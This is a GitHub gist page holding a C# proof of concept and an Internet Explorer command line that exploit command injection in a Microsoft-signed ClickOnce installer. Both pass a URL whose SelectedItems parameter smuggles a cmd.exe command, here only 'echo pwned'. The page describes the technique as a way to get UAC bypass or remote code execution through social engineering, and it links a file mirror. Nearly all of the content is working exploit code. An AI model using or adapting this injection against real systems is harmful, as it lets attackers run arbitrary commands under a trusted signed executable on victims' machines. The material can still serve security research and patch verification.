Skip to content

Instantly share code, notes, and snippets.

@LucaBongiorni
Forked from Wack0/programmatic_poc.cs
Created November 4, 2016 06:24
Show Gist options
  • Save LucaBongiorni/46c26b0966b46058f78724e33a751fca to your computer and use it in GitHub Desktop.
Save LucaBongiorni/46c26b0966b46058f78724e33a751fca to your computer and use it in GitHub Desktop.
Command injection in MS' One Step / DPLauncher / "Get ready for the Internet" application, for UAC / RCE through social engineering using MS signed exe / clickonce.
using System;
using System.Runtime.InteropServices;
class DPPwned {
[DllImport("dfshim.dll")]
public static extern int LaunchApplication([MarshalAs(UnmanagedType.LPWStr)] string deploymentUrl,int data,int flags);
public static void Main() {
LaunchApplication("https://onestepfreinstaller.blob.core.windows.net/installer/DPLauncher.application?SelectedItems=%22+%2FC%3A%22cmd.exe+%2Fk+echo+pwned+%26%26+rem+",0,0);
}
}
iexplore https://onestepfreinstaller.blob.core.windows.net/installer/DPLauncher.application?SelectedItems=%22+%2FC%3A%22cmd.exe+%2Fk+echo+pwned+%26%26+rem+
Also works in Edge!
Mirror of the files: http://lucasm.cf/?zmnlz
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment